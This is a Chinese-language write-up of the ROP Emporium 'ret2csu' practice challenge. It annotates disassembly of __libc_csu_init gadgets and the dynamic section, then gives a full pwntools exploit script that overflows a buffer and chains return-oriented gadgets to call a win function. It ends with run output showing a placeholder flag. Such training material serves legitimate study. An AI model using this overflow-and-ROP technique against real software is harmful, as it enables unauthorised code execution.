LOAD:0000000000600EE0 15 00 00 00 00 00 00 00 00 00… Elf64_Dyn <15h, 0> ; DT_DEBUG
LOAD:0000000000600EF0 03 00 00 00 00 00 00 00 00 10… Elf64_Dyn <3, 601000h> ; DT_PLTGOT
LOAD:0000000000600F00 02 00 00 00 00 00 00 00 30 00… Elf64_Dyn <2, 30h> ; DT_PLTRELSZ
LOAD:0000000000600F10 14 00 00 00 00 00 00 00 07 00… Elf64_Dyn <14h, 7> ; DT_PLTREL
LOAD:0000000000600F20 17 00 00 00 00 00 00 00 A0 04… Elf64_Dyn <17h, 4004A0h> ; DT_JMPREL
LOAD:0000000000600F30 07 00 00 00 00 00 00 00 70 04… Elf64_Dyn <7, 400470h> ; DT_RELA
LOAD:0000000000600F40 08 00 00 00 00 00 00 00 30 00… Elf64_Dyn <8, 30h> ; DT_RELASZ
LOAD:0000000000600F50 09 00 00 00 00 00 00 00 18 00… Elf64_Dyn <9, 18h> ; DT_RELAENT
LOAD:0000000000600F60 FE FF FF 6F 00 00 00 00 50 04… Elf64_Dyn <6FFFFFFEh, 400450h> ; DT_VERNEED
LOAD:0000000000600F70 FF FF FF 6F 00 00 00 00 01 00… Elf64_Dyn <6FFFFFFFh, 1> ; DT_VERNEEDNUM
LOAD:0000000000600F80 F0 FF FF 6F 00 00 00 00 3A 04… Elf64_Dyn <6FFFFFF0h, 40043Ah> ; DT_VERSYM
LOAD:0000000000600F90 00 00 00 00 00 00 00 00 00 00… Elf64_Dyn <0> ; DT_NULL
这里保存了很多函数的地址，解引用拿到的就是函数本身，其中0x600E40的函数dt_fini：
.fini:00000000004006B4 public _term_proc
.fini:00000000004006B4 _term_proc proc near ; DATA XREF: LOAD:00000000004003A8↑o
.fini:00000000004006B4 48 83 EC 08 sub rsp, 8 ; _fini
.fini:00000000004006B8 48 83 C4 08 add rsp, 8
.fini:00000000004006BC C3 retn
.fini:00000000004006BC _term_proc endp
不会对我们的参数和布局产生影响，太适合了
接下来是：
.text:000000000040068D add rbx, 1
.text:0000000000400691 cmp rbp, rbx
.text:0000000000400694 jnz short loc_400680
这里rbp和rbx都是之前控制的，我们需要让这个跳转不成立，就需要rbx+1==rbp的值
完成之后，再rsp+8，pop6个值之后就是下一个返回地址，从这里去修改rdi为目标值，然后跳转去win函数即可
exp：
#!/bin/python3
from Crypto.Util.number import *
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
context.log_level = 'debug'
FILE_NAME = "ret2csu"
REMOTE_HOST = ""
REMOTE_PORT = 0
elf = context.binary = ELF(FILE_NAME)
libc = elf.libc
gs = '''
'''
def start():
if args.REMOTE:
return remote(REMOTE_HOST,REMOTE_PORT)
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# =======================================
io = start()
# =============================================================================
# ============== exploit ===================
"""
.text:0000000000400680 loc_400680: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400680 mov rdx, r15
.text:0000000000400683 mov rsi, r14
.text:0000000000400686 mov edi, r13d
.text:0000000000400689 call ds:(__frame_dummy_init_array_entry - 600DF0h)[r12+rbx*8]
.text:000000000040068D add rbx, 1
.text:0000000000400691 cmp rbp, rbx
.text:0000000000400694 jnz short loc_400680
.text:0000000000400696
.text:0000000000400696 loc_400696: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400696 add rsp, 8
.text:000000000040069A pop rbx
.text:000000000040069B pop rbp
.text:000000000040069C pop r12
.text:000000000040069E pop r13
.text:00000000004006A0 pop r14
.text:00000000004006A2 pop r15
.text:00000000004006A4 retn
"""
csu1 = 0x000000000400680
csu2 = 0x00000000040069A
call_win = 0x000000000400510
pwnme_got = 0x000000000601018
pop_rdi = 0x00000000004006a3 #: pop rdi ; ret
safe_deference = 0x000000000600E48
rdi = 0xDEADBEEFDEADBEEF
rsi = 0xCAFEBABECAFEBABE
rdx = 0xD00DF00DD00DF00D
rbp = 0x000000000601028
payload = b"A" * 0x28
payload += pack(csu2)
payload += pack(0)+pack(1) + pack(safe_deference) + pack(rdi) + pack(rsi) + pack(rdx)
payload += pack(csu1)
payload += pack(0)*7
payload += pack(pop_rdi) + pack(rdi)
payload += pack(call_win)
io.sendafter(b"> ",payload)
io.interactive()
运行结果：
ret2csu.zip.d ➤ python3 exp.py
Thank you!
ROPE{a_placeholder_32byte_flag!}
总结
8个练习最有难度的对我来说就是fluff去理解两个陌生的指令，其他的嘛，基本上就是出啥躲啥
我愿称之为：一次不错的查漏补缺之旅
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发表于 2024-8-9 16:11
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